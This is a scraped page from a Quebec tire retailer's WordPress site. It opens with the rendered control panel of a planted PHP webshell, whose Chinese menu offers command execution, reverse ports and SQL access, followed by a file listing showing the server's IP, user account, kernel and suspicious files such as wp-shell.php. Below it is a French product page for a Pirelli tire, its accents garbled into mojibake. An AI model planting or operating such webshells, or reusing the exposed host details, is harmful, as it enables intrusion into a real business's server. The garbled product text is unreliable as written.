158.69.7.166 - Linux - whoami(urbanaut) - 【uid(2929) gid(2933)】
文件管理 搜索文件 扫描后门 反弹端口 执行命令 执行PHP 执行SQL 系统信息
kaylin

路径

上传重命名为
上级目录操作属性创建时间修改时间下载
.quarantine删除 改名07552023-03-27 04:15:552023-03-27 04:15:55-
.sucuriquarantine删除 改名07552020-10-10 22:40:442014-12-25 21:59:52-
.tmb删除 改名07772023-03-29 08:21:242023-03-29 08:21:24-
.well-known删除 改名07552020-10-10 22:40:442019-05-12 16:56:00-
ajax删除 改名07552020-10-10 22:40:352014-10-16 12:57:30-
awstats删除 改名07552023-03-31 09:08:122023-03-31 09:08:12-
cdn1删除 改名07552020-10-10 22:40:442014-10-24 21:12:52-
cdn2删除 改名07552020-10-10 22:40:352014-10-24 21:12:53-
cdn3删除 改名07552020-10-10 22:40:442014-10-24 21:12:53-
cgi-bin删除 改名07552020-10-10 22:40:442009-03-17 04:48:37-
wp-admin删除 改名07552022-03-13 13:57:472022-03-13 13:57:47-
wp-content删除 改名07552023-03-31 15:56:502023-03-31 15:56:50-
wp-includes删除 改名07552023-03-26 22:15:342023-03-26 22:15:34-
.htaccess编辑 改名06442023-03-31 03:19:142023-03-31 03:19:14244 B
abby.php编辑 改名06442023-03-31 03:32:332021-08-08 03:32:335.92 K
fix.php编辑 改名06442023-03-31 14:20:582017-09-20 07:13:331.20 K
google24fa07359d7248e4.html编辑 改名06442020-10-10 22:40:442019-04-16 15:43:4853 B
index.php编辑 改名06442023-03-31 15:57:282017-09-20 07:13:336.33 K
license.txt编辑 改名06442022-08-30 21:13:532022-08-30 21:13:5319.45 K
readme.html编辑 改名06442022-10-17 23:16:012022-10-17 23:16:017.26 K
report.php编辑 改名06442023-03-31 03:19:242023-03-31 03:19:245.92 K
robots.txt编辑 改名06442023-03-31 03:34:562023-03-31 03:34:56166 B
wp-activate.php编辑 改名06442023-03-31 14:20:572017-09-20 07:13:337.00 K
wp-blog-header.php编辑 改名06442023-03-31 14:23:502017-09-20 07:13:33351 B
wp-comments-post.php编辑 改名06442022-03-13 13:57:462022-03-13 13:57:462.28 K
wp-config-sample.php编辑 改名06442022-03-13 13:57:462022-03-13 13:57:463.46 K
wp-config.php编辑 改名06442023-03-31 15:06:012017-09-20 07:13:333.56 K
wp-cron.php编辑 改名06442023-03-31 15:55:302017-09-20 07:13:333.85 K
wp-links-opml.php编辑 改名06442023-03-31 15:18:432017-09-20 07:13:332.44 K
wp-load.php编辑 改名06442023-03-31 15:19:462017-09-20 07:13:333.81 K
wp-login.php编辑 改名06442023-03-29 06:50:032023-03-29 06:50:0346.79 K
wp-mail.php编辑 改名06442023-03-31 14:20:572017-09-20 07:13:338.33 K
wp-settings.php编辑 改名06442022-03-13 13:57:462022-03-13 13:57:4622.49 K
wp-shell.php编辑 改名06442022-11-28 12:21:222022-11-28 12:21:2250.62 K
wp-signup.php编辑 改名06442023-03-31 09:52:332017-09-20 07:13:3331.21 K
wp-trackback.php编辑 改名06442023-03-31 15:22:572017-09-20 07:13:334.70 K
wp.php编辑 改名06442023-03-31 03:19:302023-03-31 03:19:30453 B
xmlrpc.php编辑 改名06442022-03-13 13:57:462022-03-13 13:57:463.16 K
目录[13] - 文件[25] - 属性[0755]
Linux box4.domaineinternet.ca 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
LiteSpeed
Scorpion Verde All Season - Clicktire
Clicktire
  • Accueil
  • 脌 propos
  • Votre compte
  • English
  • Rechercher
  • Panier (0)
450 641-2100

Boucherville, Qc

Panier (0)
  • Pneus
    脡t茅 / 4 saisons 脡t茅 / 4 saisons
    • V茅hicules
    • Grandeur
    • Manufacturiers
    hiver Pneus d'hiver
    • V茅hicules
    • Grandeur
    • Manufacturiers
    Pneus d'hiver Service
    installation
    En savoir plus
  • Roues et jantes
    Pneus d'茅t茅 / 4 saisons
    • V茅hicules
    • Grandeur
    • Manufacturiers
    Pneus d'hiver Service
    installation
    En savoir plus
  • M茅canique
  • Promotions
  • Blogue
  • Nous joindre
  • Pneus
    • 脡t茅 / 4 saisons
    • hiver
  • Roues et jantes
  • promotions-remises-postales
  • Blogue
  • Nous joindre
  • Accueil
  • Plan du site
  • 脌 propos
  • Votre compte
  • Emploi
Accueil / Scorpion Verde All Season
Imprimer

Consultez toutes nos
茅valuations
de pneus

脡valuations En savoir plus

Faites installer vos Pneus! 脌 notre succursale de Boucherville

- Scorpion Verde All Season

Pneus

Note globale : / 10

Caract茅ristiques

Le SCORPION VERDE All Season est un produit de la gamme 芦聽Green Performance聽禄 con莽u express茅ment pour les v茅hicules multisegments et les VUS. Optimis茅 pour le confort et le respect pour l鈥檈nvironnement, ce pneu est performant peu importe les conditions.

 

Caract茅ristiques

  • Efficacit茅 茅nerg茅tique : R茅duction de la consommation de carburant et des 茅missions de CO2. 聽La technologie Green Performance r茅duit la r茅sistance au roulement jusqu'脿 20% et permet ainsi des 茅conomies de carburant jusqu'脿 4%.

 

  • Air propre聽: Fabriqu茅 脿 partir de mat茅riaux 茅cocompatibles qui minimisent l鈥檌mpact environnemental, et ce d猫s le stade de la production et tout au long de la vie du pneu.

 

  • Kilom茅trage 茅lev茅聽: Dur茅e de vie allong茅e tout en maintenant de hauts niveaux de performance et de s茅curit茅.

 

  • Nuisance sonore r茅duite聽: D茅j脿, conforme 脿 la future r茅gulation europ茅enne de 2012 sur la r茅duction du bruit de roulement. Le r茅sultat tient dans l鈥檃m茅lioration du confort acoustique.

 

  • Lamelles longitudinales et lat茅rales 脿 haute densit茅聽: grande stabilit茅 lat茅rale et meilleure traction sol mouill茅 et enneig茅 pour une performance toute saison.

 

  • Large surface de contact et quatre larges rainures longitudinales聽: Contr么le et expulsion d鈥檈au excellente pour une s茅curit茅 suppl茅mentaire sur chauss茅e mouill茅e.

 

Technologie Runflat

Dans l'茅ventualit茅 d'une crevaison, la technologie Runflat vous permet de conserver toute votre mobilit茅. Donc, dans le cas o霉 votre pneu est crev茅, la technologie Runflat 脿 flancs autoporteurs de Pirelli permet de ne plus s'inqui茅ter du montage d'une roue de secours, surtout si vous vous retrouvez sous une pluie battante. Ainsi, vous pourrez continuer de rouler sur une distance limit茅e.

Pour conserver un niveau de s茅curit茅 optimal, les pneus Run Flat doivent des conditions d'utilisation, 脿 savoir une utilisation sur 80km 脿 une vitesse de 80km/h. Du fait de ses restrictions, il est imp茅ratif que les conducteurs soient inform茅s d'une soudaine perte de pression des pneus. C'est pourquoi les v茅hicules 茅quip茅s de pneus Runflat doivent 锚tre 茅quip茅s de syst猫me de contr么le de pression pneumatique TPMS (Tyre Pressure Monitoring System) afin de d茅tecter et signaler les variations de pressions 脿 l'int茅rieur du pneu.

Source聽: http://www.pirelli.com/tire/ca/fr/suv/sheet/scorpion_verde_all_season.html

锘

Recherchez votre voiture

Avez-vous des questions?

Contactez-Nous ! 450 641-2100

  • 脡valuations

脡valuations

Performance notes : 0.0 / 10

Comfort : /10

Dur茅e de vie : /10

Mouill茅e : /10

Dry : /10

Roues et jantes

  • Expertise
  • Simplicit茅
  • Honn锚tet茅
450 641-2100
© 2023 Clicktire.com. tous droits r茅serv茅s.
1240 Graham Bell #1, Boucherville Qc, J4B 6H5
Expertise, simplicit茅 et honn锚tet茅
  • Facebook
  • Twitter
  • Youtube
  • Google +
  • Interac
  • Acoord
  • Visa
  • MasterCard
  • Emploi
  • Succursale
  • Conditions d鈥檜tilisation
  • Plan du site
  • English
Ekkode